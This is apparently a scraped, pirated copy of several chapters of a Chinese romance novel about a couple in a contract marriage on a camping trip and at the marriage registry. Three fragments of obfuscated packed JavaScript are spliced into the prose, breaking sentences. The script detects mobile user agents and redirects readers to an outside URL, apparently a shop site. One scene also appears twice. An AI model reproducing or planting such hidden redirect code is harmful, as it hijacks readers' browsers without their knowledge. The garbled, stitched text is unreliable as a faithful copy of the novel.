l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889020|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,露营灯一盏一盏亮起来,草地上的影子被拉得细长。 慕哲远负责烤串,陆澈在旁边打下手,夏栀拆零食、倒酒,沈然负责—— “你去那边把纸巾、湿巾、一次性手套、垃圾袋分开。”夏栀给她安排任务,“我知道你最擅长分类。” 沈然想了想,接受了这个合理分工。 她把东西按用途排了四列,顺手把天幕下的桌面擦了一遍,看起来像某种户外版会议区。 “你们现在很像在准备一场科研组烧烤交流会。”慕哲远感叹。 “那挺好。”沈然说,“说明氛围不至于失控。” “……”慕哲远心想:你们两个再这么克制下去,只能靠天降意外推进感情线了。 烤串香味渐渐浓起来。 沈然第一次拿起夹子,试图把一串羊肉翻面。 烤网有点烫,她动作慢了一拍,火苗忽然窜起,差点舔到她的手背。 一只手迅速伸过来,扣住她的手腕。 力道不重,却很稳。 夹子被抽走,火势被压住。 “别碰。”陆澈说。 语气低低的,没有多余情绪,像是在下结论。 沈然被他扣着手腕,愣了两秒才反应过来:“为什么?” 陆澈没立刻回答。 他把那串羊肉翻好,移到安全的位置,才松开手。 “会烤糊。”他说。 理由敷衍得很。 “不会就不能学?”沈然不解,“总得有第一次。” 陆澈侧头看了她一眼,像是评估了一下这个“第一次”的成本。 几秒后,只说了一句:“今天不合适。” 沈然:“……” 她在脑子里迅速换算了一下。 不合适=风险高=投入产出比低。 于是非常理性地点头:“那我不碰了。” 陆澈:“……” 他原本还想说点什么,听到这句话,直接卡住。 慕哲远把烤好的串递过来,扫了两人一眼:“你们这对话,听着像项目经理拦新人上生产环境。” “我可不是新人。”沈然接过烤串,“只是领域不匹配。” 陆澈没接话,只把火力调小了一点,把烤网往她那边推开些。 沈然咬了一口,认真评价:“还行,比开会有趣。” 陆澈“嗯”了一声,算是认可。 夏栀在旁边默默看着,心里已经开始替陆澈叹气。 这个人以后,大概会长期被当成合约对象使用。 至于“喜欢”, 目前还不在沈然的评估范围内。 —— 吃到一半,夏栀忽然像想起什么八卦,拿起杯子敲了沈然一下: “然然,你认真谈恋爱的最后时间节点……在公元几年?” 沈然淡淡:“你这个问法很不尊重人类记忆系统。” “……那你就回答年份。” 沈然想了想:“本科吧。” 夏栀沉默三秒:“……沈然,你这么多年到底谈了谁?” “工作。” “……………………” 连篝火都沉默了。 为了缓解窒息,夏栀立刻把火力对准陆澈:“那你呢?你初恋什么年代?BP时代还是AP时代?” 慕哲远像等很久似的,“哎”了一声: “你问这么绕,不如直接问陆澈,你啥时候打算对沈然实行《感情科研伦理申报》?” 沈然:“?” 陆澈:“?” 夏栀:“???” 沈然被辣到咳了一声:“你能不能不要当着本人讨论这种东西?很奇怪。” “怕啥?你脸皮比我们都厚。”慕哲远耸肩,“况且你们都要结婚了。” 沈然冷静地纠正:“结婚属于制度行为,表白属于情绪行为。” 夏栀捂脸:“谢谢,你又把爱情拆成可量化指标了。” 她叹气,看向陆澈:“陆教授,你现在反悔还来得及,我可以给你推荐几个正常恋爱系统的女生——” 她话没说完。 旁边那个人,一直很淡的陆澈,忽然放下了手里的竹签。 他抬眼,看她,语气不高,却冷得一下压住了篝火的噼啪声: “沈然已经决定了,我也是。” 一句话,不重,但像落在桌面上的铁片。 沈然愣了一下。 她以为他是在强调流程已经走到一半,人才计划不能随便撤销。也或许是像她这样完美的合作对象不多,难以轻易放弃。 于是顺着工作逻辑点头:“嗯,不耽误。” 陆澈:“……” 夏栀嘴里的气泡水差点喷到火上: 这两人,一个以为在聊组织架构,一个以为在做性能测试。 她忽然有点后悔。 这哪是来露营,这是把两个高危样本丢进同一个实验舱。 万一哪天真的失控了,谁来负责? 7. 文学城独家 晚饭过后,营地开始变冷。天幕下的灯串亮起来,风一吹,晃得像喝醉了。 夏栀不知道从哪儿拖出一条野餐毯,招呼大家去看星星。 沈然原本是不想来的。 天上那些光点,她一向觉得“不影响生活,不影响判断,没有必要特别关注”。 结果夏栀一句:“你再不来,我就告诉陆澈你怕黑。” 沈然:“……” 她过去了。 几个人在草地上坐下,陆澈坐得离她不远,刚好能听见她的碎碎念。 慕哲远在另一侧,一边啃烤玉米,一边仰头研究天。 灯光稀疏,他们索性灭了灯,藏在光下的星渐渐显露。夏栀仰着头感叹:“啊——这就是所谓宇宙浪漫。” 沈然安静十秒,十分客观地给评论:“……我觉得并没有浪到那个程度。” 夏栀:“你闭嘴。” 沈然真的闭了三秒,然后忍不住又说:“而且你们为什么喜欢看星星?它们这么远,又不回应你。” 夏栀捂头:“我求你,沈总,这里不是商务谈判,咱不用分析这么细。” 旁边陆澈突然轻轻笑了一声。 不是露齿的笑,是那种被某根神经突然碰到、没憋住的声音。 沈然侧头:“你笑什么?” 陆澈抬眼看着天:“没有。你说得挺对。” 沈然皱眉:“哪儿对?” “远,不回应。” 陆澈顿了顿,又慢慢补上一句,“但有时候,喜欢也不需要回应。” 沈然:“?” 她不太理解这种“语气型”的表达方式。 但他那句淡淡的补充,像从心底某个更深的地方溢出来的。搞得她心口微微卡了一下。 她盯着天看了三秒,忽然一本正经开启经济学科普: “你们知道吗,星空这个景象,其实是信息延迟……” 夏栀立刻扑过去捂她嘴:“不能再说了!你正在破坏宇宙浪漫生态!” 沈然:“……” 这边刚掐灭经济学,那边理论物理学迅速上线。 慕哲远把玉米往旁边一放,举手发言:“等一下,作为物理学代表,我必须指出,星空本来就不是‘浪漫’,是宇宙学。” 夏栀绝望捂着脸:“完了,我这是招了一桌什么人?” 慕哲远来了兴致,指着头顶:“你们看到的很多星光,是几百万年前发出来的。你抬头看的,是宇宙很久很久以前给你们留的‘现场录像’。” 他自以为总结得很诗意:“从宏观来看,这叫宇宙一直在为你们亮灯。” 夏栀:“…………” 沈然认真纠正:“严格来说,不是‘现场录像’,是样本极小的观测切片。” 慕哲远被点燃了:“对对对,小样本!你想啊,在这么大的宇宙里,你现在正好活在这个时间点、这个星球、这片草地上,看这片几百万年前的光。” 他偏头看了沈然一眼,补刀:“从理论物理的角度讲,这是概率事件里非常偏心的一次。” 夏栀警觉:“怎么个偏心?” “就是大数定律本来可以让你生在任何地方,”慕哲远笑嘻嘻,“结果你偏偏坐在这里,和这几个人,一起抬头看同一片星空。” 他说完,自己先乐了:“如果非要讲浪漫,这已经是宇宙级别的了。” 沈然居然没反驳。 她安静了两秒,慢慢开口:“如果按你这么讲……那人和人之间的相遇,确实算是样本量极小的事件。” 慕哲远眼睛一亮:“对,极小事件!” 沈然看着天,声音淡淡的:“所以在这么多变量里,刚好有人能和你一起坐在这里,稳定地看同一片星空……从统计学上来说,确实值得珍惜。” 夏栀愣住,默默看向沈然。 她原本以为沈然不懂浪漫,现在发现——沈然懂,而且是被量化后的浪漫。 沈然话音刚落,又迅速把这点温柔塞回理性框架: “但本质还是概率问题。” 旁边陆澈突然轻轻笑了一声。 不是露齿的笑,是那种被某根神经突然碰到、没憋住的气音。 沈然侧头:“你笑什么?” 陆澈没看她,仍旧看着天:“没有。” 停了一下,又补了一句,语气很淡,却不像敷衍: “你说得挺准的。” 沈然皱眉:“哪儿准?” “远。”他说,“也不回应。” 风吹过草地,他的声音被压得更低了点。 “但有些东西,”他顿了顿,没有看她,“不回应,也不影响你想不想看。” 灯串在风里轻晃,光擦过他的手背。 他下意识收了收手指。 沈然没注意他,只突然觉得心脏莫名跳得快了一下。 她停了半秒,非常科学地归因: ——大概是烤串吃太快,血糖短暂波动。 为了验证,她还低头捏了捏自己的手腕。 脉搏的确比平常快。 陆澈看她的动作,语气平平:“不舒服?” 沈然神情淡定:“血糖不太稳。” 慕哲远差点被玉米呛死:“你刚吃完烤串——” 陆澈抬眼看了他一眼。 很淡的一眼。 慕哲远立刻闭嘴,假装自己只是个会呼吸的背景板。 沈然点点头:“那我明天调整一下饮食结构。” 陆澈垂下眼,声音轻得听不清情绪:“嗯。” 夜更深一点,营地的灯串只剩下几处亮着。 插在地上的小太阳能灯,把草地照出一圈一圈的暗光。 大家吃完烤串,散在天幕周围,有一搭没一搭地聊着。 沈然坐在折叠椅上,手边放着一杯没喝完的苏打水,目光落在不远处那顶帐篷。 陆澈正在帐篷前整理刚才换下来的外套,衣服搭在营地的木桩上,侧脸被灯光勾了一圈浅浅的亮。 那画面莫名有种危险的安静感。 夏栀顺着她的视线看过去:“你在看什么?” “看天幕的氛围灯布得不错。”沈然很诚实,“很适合拍宣传片。” 夏栀:“……” 她深吸一口气,决定换个问法:“今天相处下来,你觉得陆澈这个人,适不适合跟你结婚?” “很适合。”沈然毫不犹豫。 这倒是出乎夏栀意料:“这么肯定?” “他比我安全。”沈然语气平淡,“除了有时候嘴上不饶人外,他界限清晰,生活轨迹稳定,不会对我提出不合理期待,而且社会地位和学术能力都很……” “……”夏栀几乎要拍桌,“等等,你说的这个‘安全’,到底是哪种安全?” “就是——”沈然顿了一下,试图找到一个准确的说法,“不会对我产生那种黏腻的情感需求,也不会要求我为了迎合谁去调整自己。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889021|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏栀沉默了三秒。 “那他要是喜欢你呢?”夏栀问。 “我们是合约关系。”沈然很理性,“喜欢这种变量,最好不要引入系统。” 夏栀:“……” 她想了想,咬牙总结:“你现在这个状态,用人话说就是你以为你捡到了一个对你没有兴趣的、干干净净、体体面面的室友?” 沈然思索了一下,觉得这个比喻还挺准确:“差不多。” 夏栀扶住额头,慢慢吐出一口气:“……行。我明白你现在在宇宙什么位置了。” 她默默给陆教授在心里上了三炷香。 夜风凉下来,帐篷里陆续亮起灯。 女生帐篷在靠内侧那一排,布面是浅米色的,比另一顶深色的看起来更软一点。 夏栀先进帐,边钻拉链边说:“你一会儿还想在外面待会儿?” “再走一圈,有点积食。”沈然说。 夏栀探出半个头,压低声音:“那你要不要——顺便看看对面那顶帐篷的环境?” 沈然没听出她语气里的坏心眼,只是很体贴地说:“不用。我相信他们能照顾好自己,而且马上领证了,他们也许有很多话要说。” 夏栀:“……” 她忽然觉得今天晚上可能不需要睡袋,她已经被这对未婚夫妻的沟通方式整得冷汗直冒。 帐篷拉链合上的一瞬间,草地上只剩沈然一个人。 她慢慢往前走了几步。 对面那顶帐篷的灯还亮着,柔黄色的光从布面透出来,墙上投着一个男人的影子,肩线干净,动作不快不慢。 沈然站在两顶帐篷中间的位置,下意识叫了一声:“陆澈。” 帐篷门被拉开一半,他从里面出来,低头看她:“怎么了?” “你不困吗?”她随口问。 “你关心我?”他反问。 “嗯。”沈然点头,语气很认真,“怕你休息不好,明天研讨会的效率会下降。 陆澈看了她两秒,然后轻轻笑了一下。 不是被逗的那种笑,更像是觉得她这套逻辑……有点犯规。 “我状态好不好,”他说,“一般不需要别人操心。” 帐篷里的慕哲远则是发出暗暗憋笑,黑影在帐篷上乱晃。陆澈却在后面又慢慢补了一句: “但今晚没事。” 沈然愣了一下。 这句话乍一听像是冷淡,仔细又不像。语气太平静,反而像某种隐蔽的宣告。 他不打算把自己的状态交给任何人负责。 “那就好。”她想了想,诚恳补充,“那你早点睡,不用管我们。” 陆澈喉结动了一下。 明明她才是那个把人生计划写得一清二楚的人,结果此刻,她站在营地的灯光下面,眼神清清冷冷,却说出一句“怕你休息不好”。 偏偏她自己,完全没意识到这句话有多暧昧。 “晚安。”他道。 “晚安,陆老师。”沈然脱口而出当年对他的称呼。 陆澈停了停,忽然说:“不是老师。” “嗯?” “以后不是。” 他说完这句,自己先别开视线,转身回帐篷。 沈然站在原地,想了两秒,给出一个最合理的解释—了。 大概是婚后身份变化,需要更新称呼体系。 她认真记下:“那我明天改。” 帐篷里的灯,很快灭了。 8. 文学城独家 沈然准备回帐篷休息,走没两步,一声“哎哟——操!”在黑暗里炸开。 她几乎是条件反射般转头。 一个男生在营地灯旁蹲成一团,脚踝肿得一块高一块低,旁边一个工具箱滚到草地上。他朋友慌慌张张冲过来:“哥们你怎么样?要不要叫120?” 沈然快步走过去:“等一下。” 她蹲下,眼睛一扫:“不用120。” 两个男生齐声:“啊?” “是扭伤,不是骨折。”她问了几句后得出判断,声音稳得像随时能给医院写论文,“别乱动,我看一下。” 她话刚落,一个人影悄无声息靠近。 沈然抬头,就看到穿家居服的陆澈已经弯下身,手里不知道什么时候多了个急救包。 “你不是睡了?”她愣了一秒。 “感觉你需要。”陆澈语气平静,“顺手拿了冰块。” 他说得淡,动作却干脆得像一起训练过似的:一手把冰袋递给沈然,另一只手扶住受伤男生的上半身,稳得像教科书。 沈然一句话,他一个动作。 旁边那个朋友看傻了:“……你们两个是提前排练的吗?” 沈然淡淡:“没有。我负责判断,他负责……” 陆澈接得很自然:“我负责配合她。” 沈然被噎了一秒,像突然被夸到:“陆澈……这只是基础操作。” 陆澈轻轻“嗯”,像是默认她的所有能力。 受伤男生被冰到“嘶”了一下:“谢谢,谢谢你们!” 沈然检查完脚踝,叮嘱得一丝不苟:“二十分钟后再冰一次,今晚不要乱走。” 她站起来时蹲得有点久,重心微微一晃。 陆澈动作比她还快,直接扣住她的手腕,帮她扶了一把。 沈然抬头:“……你干什么?” “你站不稳。” 陆澈语气平平,却扶得极稳。 沈然淡淡“哦”了一声,完全没意识到刚才那一幕,远比“站不稳”本身要暧昧得多。 受伤男生抬头,看着两人的姿势,突然有点羞涩,又很真诚地说:“谢谢你们。你们感情真好。” 另一位男生也轻轻点头:“真的,很配。” 沈然礼貌地点头:“谢谢。也祝你们幸福。” 那两个人明显愣了一下,其中一个耳尖红得厉害。 另一个干脆握住他的手,重重的嗯了一声。 沈然目光一顿,若有所思地点了点头,一脸“果然如此”的表情。 两人彻底红了,但眼神温柔得很明显。 他们朝沈然鞠了个小礼,又不好意思似的,从兜里掏出几包豆干小零食塞过来:“真谢谢你们帮忙。” 沈然没拒绝,心安理得地把小零食揣进兜里。 陆澈站在旁边,安静观察了三秒,“你好像一直挺爱吃这种的。” “还行。”沈然想了一下,从兜里摸出一包,“你刷牙了,只给你这一包。” 她边说边把豆干往他手里一塞。 随后很满意地总结:“我刚才的判断没有问题。” 陆澈捏着掌心那小包豆干,低头,看她的眼神像是在无奈地笑,又像压着什么更深的东西:“这不是重点。” 沈然问:“那什么是重点?” 陆澈沉吟了一下,声音不轻不重,像是在给她讲一件需要温柔对待的事: “有些人,就算真的是,也不一定希望被别人替他们说出口。” 沈然思路活跃,立刻“理解”了陆澈的话中含义,马上认真起来。 陆澈继续:“有的人,正在尝试弄明白自己想要什么,但还没准备好被别人一眼看穿。” 沈然点点头:“明白。需要给别人隐私空间。” 陆澈看着她:“对。” 沈然稍微顿了一下,语气非常诚恳:“我以后会注意表达方式。” 她又看了一眼那两位相互搀扶离开的男生,很平静地补了一句:“不过他们两个是真的幸福。” 陆澈听到这句,轻轻偏开视线。 沈然想到陆澈眼下的情况,心里了然,以为他是担心自己的情况被公开,又认真安慰了一句,话语格外郑重:“放心,我不会乱说别人取向的。我会尊重。” 陆澈看着她,眼神里像是叹息,又像被她的认真逗笑:“你能这样想就很好。” 沈然完全没有意识到,自己刚才那句“判断没有问题”,到底哪一句让某个人沉默了半秒。 她只是老老实实在心里记录新知识:“表达要谨慎,不要替别人出柜。明白了。” 陆澈轻声应了一句:“嗯。” 像是慢慢放下了一口气。 回到女生帐篷时,夏栀已经躺进了睡袋,只露出一个脑袋。 “你怎么才回来?”她迷迷糊糊地问了一句,又突然醒了一点,“刚才外面好像挺热闹,发生什么了?” 沈然坐下,把外套折得整整齐齐:“我帮了点小忙。” “嗯?什么忙?”夏栀立刻竖起八卦天线,从睡袋里整个人滑了出来一半。 沈然把外套塞进帐篷角落,“冰敷、包扎、情绪安抚,顺便确认了一下环境安全。” “……听起来像你开了个临时分公司在这儿鸟不拉屎的地方。” 夏栀思维慢了半拍,突然反应紧跟着跳:“那陆教授呢?他怎么了?” “不是他。”沈然语气平稳,“他状态很好,是路人受伤。” “哦——”夏栀这才松一口气,又立刻凑过来,“那你刚才跟陆教授一起帮助别人是不是有什么进展?” “有。”沈然点头,很严肃,“我学到了一点社会伦理方面的知识。” “啊?”夏栀整个人都精神了,“你们怎么从扭伤聊到社会伦理的?” 沈然淡淡总结:“不应该随便公开别人可能的取向。” 夏栀:“你们到底聊了什么???” 沈然认真地说:“我没有误会。他确实介意。” “介意什么?”夏栀被绕得头痛。 “介意我乱讲别人喜欢谁。”沈然说,“他说,有些人不喜欢被别人替他们做选择。” “……”夏栀沉默两秒,只能承认一句,“这话本身……也没毛病。” 她有时候也跟不上沈然的思维,只好果断改题:“那你确不确认到——某个人对你的危险程度?” “?”沈然钻进睡袋,“什么危险程度?这附近没有大型捕食者。” “就是那种……心脏方面的。”夏栀困得眼睛都快睁不开了,还不忘比喻。 “你是说陆澈?”沈然想了想,很客观地下结论,“他行动轨迹稳定,不具攻击性。” 夏栀:“……” 她把睡袋一拉盖到头上,闷声来了一句:“算了。等哪天你自己被电了再说吧。” 她说完这句,很快就睡过去了。 帐篷里只剩下两个人的呼吸声,和布面被风带起的轻响。 沈然躺在黑暗里,盯着上方的帐篷顶,看着那一小块被灯串余光染过的布面。 她本来以为,自己会睡得很好。 毕竟一切都在她能接受的计划范围里。 婚前协议签好了,婚姻目标统一,合约对象稳定可靠,时间节点清晰。 她甚至已经在脑子里规划好了领证之后的流程—— 需要向公司汇报的节点,需要对外公开的口径,需要提前预防的流言。 一切都很好。 可不知道为什么,一闭上眼,她脑子里却开始反复闪几个画面: 律师楼里,他低头签字时那一下安静的侧脸; 餐厅里,他说“你刚才蹲得太快”时那句无奈; 今天晚上,他握住她手腕那一瞬间的力道; 还有刚才,他站在帐篷门口,问她“你关心我?”时那一声短促的轻笑。 沈然翻了个身。 “……” 帐篷外的虫鸣一浪高过一浪。 她不得不承认—— 自己大概有那么一点点,睡不着。 她盯着帐篷顶,忽然很不理智地冒出一个念头: 也许,“可靠合约方”这五个字,本身就带着某种她不愿意承认的偏心。 这个念头刚冒出来,就被她强行按了回去。 不行。 婚姻项目还没正式启动,她不能让情绪跑在逻辑前面。 沈然在心里给自己下了结论: 她现在所有的波动,严格来说,都可以归类为—— “环境变化带来的人类正常应激反应。” 她安慰完自己,闭上眼,试着强行进入睡眠模式。 外面的风还在吹,草地上的灯光一盏一盏熄下去。 —— 隔壁那顶帐篷里,另一个当事人也没睡着。 他躺在睡袋里,听着外面远远近近的风声,听着不知哪儿传来的虫鸣,脑子里也在反复闪着几个画面: 她在律师楼里签字时握笔的手指; 她一本正经地说“我们不会有”的表情; 她今晚站在帐篷前,认真说“怕你效率下降”的声音。 慕哲远在另一侧翻了个身,迷迷糊糊嘟囔:“你睡不着啊?” 陆澈“嗯”了一声。 “明天领证紧张?”慕哲远困得不行,“还是觉得我们今天烤串糊了?” “都不是。” “那你想什么呢?” 帐篷里安静了一会儿。 半晌,陆澈轻声道:“……我在想,她到底什么时候,才会觉得我不‘安全’。” 这句话太轻了,轻到几乎被夜风吞掉。 慕哲远没听清,只含糊地“哦”了一声,又翻身睡过去了。 —— 露营基地的晨光斜斜落在草地上,空气里都是昨晚余下的烟火味。 沈然比所有人都早醒。 不是因为兴奋,而是因为—— 她睡前喝了气泡水,半夜起来两次,深刻意识到:露营并不是最优的婚前体验。 她把昨夜的思考整理成三条议题,准备拿去“开会”。 七点半,夏栀顶着一头乱发从帐篷里钻出来:“沈哥……你醒这么早?” “我六点醒的。”沈然说,“我整理了一份婚后生活的初步提纲。” 夏栀:“……” 她突然非常感激陆澈要跟沈然结婚这事儿, 这种女人,真的不能落在别人手里。 他绝对在为人类造福! 十五分钟后,四人坐在营地的早餐桌前。 桌上是管理员准备的简单早餐:馒头、鸡蛋、热牛奶。像某种风格诡异的公司团建。 看大家吃得差不多了,沈然拿出手边的文件清了清嗓子:“我先说第一点。” 陆澈抬眼,几乎是本能地坐直了—— 整个人进入“开会模式”。 沈然拿出手机:“我昨晚查了一些资料。” 慕哲远眼神一亮,没想到一大早就能看到精彩节目,忍不住问:“……你昨晚查什么了?” “分房睡对婚姻关系的益处。”沈然语气平静,“我找到七篇研究和两个TED演讲。” 夏栀:“???” 陆澈手里的筷子顿了一下:“……七篇?” “是。”沈然认真地点头,“其中有一条我觉得你会特别认同。” 她念给大家听:“适度的独立空间,有助于降低情绪摩擦,提高双方对彼此的正向评价。” 陆澈:“……” 沈然继续补充:“分房还能减少睡眠干扰,从长期来看能提高工作效率。我看过你的论文发表频率,我觉得你需要一个稳定环境。” 陆澈:“……” 夏栀忍不住掐了自己一下:“然然,你这是结婚还是在找合租室友?” 沈然没听见似的,自顾自往下说:“我建议设置可变动双卧室制度。” 慕哲远差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889022|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点被牛奶呛到:“可变动的……什么制度?” “主卧作为公共空间,”沈然解释得非常专业,“两个次卧独立睡眠。有需要再共享。” 陆澈终于抬起眼:“……有需要?” 沈然认真解释:“比如科研压力过大,需要陪伴性睡眠;或者我们需要就某些事进行——” 她停顿一秒,换了个自认为更体面的词:“深入沟通。” 夏栀:“……‘深入沟通’听起来更不对劲了。” 慕哲远扶额:“我求你别换词了,好吗?” 陆澈原本想喝口牛奶,听到这里,杯子默默放回桌上。 他叫了她一声:“沈然。” “嗯?” “你真的认为我们这样比较……合理?” 沈然点头点得很笃定:“网上有大量案例支持。” 她干脆把手机递过去。 屏幕上赫然显示几行标题: 《为什么分房睡的夫妻更不容易白头?》 《夫妻分房:让爱情回到理性区间》 《专家建议:睡眠分房=减少冲突》 慕哲远探头一瞧,差点把自己噎死:“……这标题怎么看都不像正常夫妻会查的东西。” 陆澈看了两秒,肩膀微微抖了一下,看不出是在忍笑还是叹气。 沈然以为他被数据说服:“你要是觉得可以,我们就这样安排。” 陆澈把手机推回去,声音放得很轻:“先不急。” 慕哲远在旁边用力点头,像替所有已婚人士发声:“对对对,兄弟,这事不能急。分房这个操作……太前沿了。” 沈然皱眉:“你有顾虑?” 他低头看着自己的指节,像是刚理顺一点什么,但现在不想摊开。 “领证之后再说。”他说,“到时候再看。” 慕哲远默默在旁边比了个“大拇指”:“稳的。非常稳的处理方式。” 夏栀见缝插针:“那我们讨论第二条——婚后生活习惯。” 沈然立刻举手:“我这边已经写好了。” 她打开备忘录:“一,我习惯固定时间运动。二,不喜欢在家里放太多杂物。三,我希望公共区域保持简洁。” “这些都没问题。”陆澈说。 慕哲远喝着牛奶看戏:“你俩这步调……像极了要一起创业。” 沈然忽略他,又补了一句:“另外,我不太擅长照顾人。” 陆澈抬眼:“什么意思?” “就是你不要指望我每天问你吃了没、冷不冷、累不累。”沈然语气坦诚,“那类对话我不擅长。” 陆澈沉默了半秒。 夏栀立刻实名反驳:“你昨天晚上不是还问人家‘你不困吗’?” 沈然被说得一愣:“那不一样,他今天要研讨会。” 慕哲远冷不丁一句:“哦,原来你对学术压力特别怜香惜玉。” 沈然:“……” 陆澈用指节轻敲桌面:“所以,我只能在需要保持高效时,获得你的关心?” 沈然点头:“这样比较清晰,不会造成误解。” 陆澈忍不住笑了一声,笑意压在眼里:“沈然,你现在已经造成很多误解了。” “有吗?” “有。”他说,语气淡淡的,“不过等领证以后再说。” “那你们婚后,对外怎么说?”慕哲远的“主持人属性”突然上线,“闪婚?相亲?还是青梅竹马?” 沈然认真思考三秒,给出标准答案:“我们是基于共同价值的理性结合。” 三个人集体沉默。 夏栀扶额:“然然,你这样说出去别人会以为你们两个研究所兼并。” 沈然一本正经:“我们确实是因为研究所认识的。” 慕哲远举手表示投降:“……行行行,你们赢了。” 陆澈忽然开口:“我觉得,不用解释。” 沈然转头:“什么意思?” “我们领证就是领证。”他的语气不重却稳得吓人,“不需要向任何人证明什么。” 沈然点头:“你说得对。” 慕哲远在旁边小声感叹:“老陆,你这个发言很‘老公发言’了。” 陆澈没理他,只侧过脸,看着沈然认真点头的样子,心口微微一紧。 正好这时,管理员端来一盘水果:“这是我们老板的心意,祝两位新婚愉快。” 沈然自然地接过来:“多谢。” 慕哲远咳了一声:“哎哟,这都提前收到贺礼了,人家老板比你们还进入状态。” 沈然:“……” 陆澈低头,嘴角像是压着什么笑。 “我一会儿还有研讨会,就先走了。”陆澈拿起外套,“那明天上午九点民政局?” 沈然愣了一下:“这么早?” 陆澈看着她:“你不是喜欢把事情提前解决?” 沈然想了一下,很快调整:“那八点见。” “八点?!”夏栀瞪圆了眼,“你们是去领证,不是排队抢号。” 慕哲远低声感叹:“也不知道他们俩是谁——怕夜长梦多。” 沈然正准备解释“效率”两个字的重要性,陆澈已经抬手,像是随口补充了一句:“别误会。我只是想早点领证。” 沈然听得非常认真:“我也喜欢效率。” 两个人就这样,异常平静地达成了一致。 空气里停顿了一瞬。 夏栀:“……” 慕哲远:“……” 一个把领证当会议时间,一个把婚姻当流程推进。 冷静、错频、完全不按常规来—— 偏偏,让人移不开眼。 沈然站起身,把昨晚的小提纲收进包里:“记得带户口本、身份证。” 陆澈轻轻应了一声:“好。” 没有暧昧,没有多余。 但谁都听得出来—— 明天,将是他们共同时间线正式对齐的第一天。 9. 文学城独家 早上七点五十五,民政局门口。 工作日的清晨,大楼泄出的风带着点冷意,像专程来给结婚人群做清醒测试。 队伍已经排出去一条弯,有人打哈欠,有人吵架,有人抱着一大把玫瑰花在那儿当路障。沈然站在队尾,怀里夹着资料袋,另一只手握着保温杯,姿态冷静得像在等进场开董事会。 陆澈站在她身侧,衬衫领口整齐,手却在口袋里停不住地摸手机。 他今天比平时安静得更明显。 沈然注意到了:“你今天的心率比平时高?” 陆澈顿了下:“你在判断什么?” “你右手一直动。”沈然很客观,“习惯动作通常代表内部压力。” 陆澈:“……” 队伍往前推进两步。 前面一对年轻情侣突然吵起来。女孩哭着抱怨男生迟到,男生解释自己只是忘带身份证,两人吵吵吵,又突然抱一起:“算了算了,先领证,等会儿再吵。” 沈然看了两秒,得出结论:“情绪波动太大,属于高风险关系。建议冷静半年后再结婚。” 那女孩眼尾还挂着泪,回头:“……你有必要现在点评别人吗?” 沈然诚恳:“我是在帮你们做婚前风险提示。” 男方:“……谢谢你啊,陌生人顾问。” 陆澈轻轻碰了碰她的手背,把她带开一点:“别管别人。” 语气淡,但动作太自然了。 沈然被带得一怔:“我没有干扰他们。” “你有。”陆澈低声,“你的客观太……精准。” 沈然想了想,觉得也有道理,收回视线:“那我只在心里点评。” 陆澈眉眼带笑,轻轻“嗯”了一声。 队伍龟速挪动中,但也没有预计的慢,等了二十来分钟轮到他们填表。 柜台后面的工作人员一边打哈欠一边递表:“女方左边,男方右边,先填清楚再排队。” 沈然拿起笔,刷刷写完,把表推过去:“麻烦帮我再看一遍。” 工作人员接过来,眼皮抬了下:“学历本科……工作单位……啊姑娘,这个英文写的这么好看,中文怎么回事?” “出国太早。”沈然人生唯一的缺点被人点出,罕有的面露尴尬,“要重写吗?” 工作人员看着蜿蜒抽象的字,又扫了一眼陆澈那边写得工整的那一列,忍不住抬头看两人一眼:“让你老公给你再抄一份吧。” 沈然:“?” 陆澈:“……” 这声“老公”落得太自然,沈然下意识想解释“我们还没——”,脑子转了一圈,又迅速意识到:解释这件事本身,比默认还费时间。 她只好把表默默收回来,换了支更顺手的笔,一笔一画地把那一行中文重写了一遍。字还是不好看,但至少能看出来是字。 工作人员看着她那种“期末重抄卷子”的认真劲儿,莫名喜感:“行了,可以了,后面排队交材料。” 她推回表的时候,陆澈偏头看了一眼,默默记住了一个事实。 沈然对“写得好不好看”无所谓,对“写得清不清楚”要求极高。 她好像一直这样活在一个非黑即白的世界里。 简单又直接。 领证就像过五关斩六将,下一步是拍照。 拍照区有点挤,前一对新人刚拍完,女孩对着成片哀嚎:“我这双下巴——你们摄影能不能修一下?” 灵感枯竭的摄影师已经面无表情:“证件照不能修太多。你们这样已经很幸福了,有的人来连笑都笑不出来。” 轮到他们时,他抬眼那一刻明显精神了些:“哎哟,这对儿颜值不错。靠近一点,肩碰肩。对,就像真的很相爱一样。” 沈然立刻照做,整个人自动切换成季度总结大会合影模式:背挺直,表情严肃,眼里写着两个字,配合。 摄影师看得头疼:“姑娘,你天生不爱笑吗?” 沈然认真回答:“是不太爱笑。” 摄影师被她的诚恳逗笑:“老公这么帅也不高兴?” 沈然愣了下,对“老公”两个字已经具备职业免疫能力,冷静解释:“高兴的。但不是因为他帅。他是神经学博士,剑桥毕业,对家庭稳定性有帮助。” 摄影师嘴角抽了一下,努力憋住笑。 陆澈轻轻咳了一声,语气不紧不慢:“我想,他已经明白你的意思了。” 至于是他本人还是摄影师,他没有进一步说明。 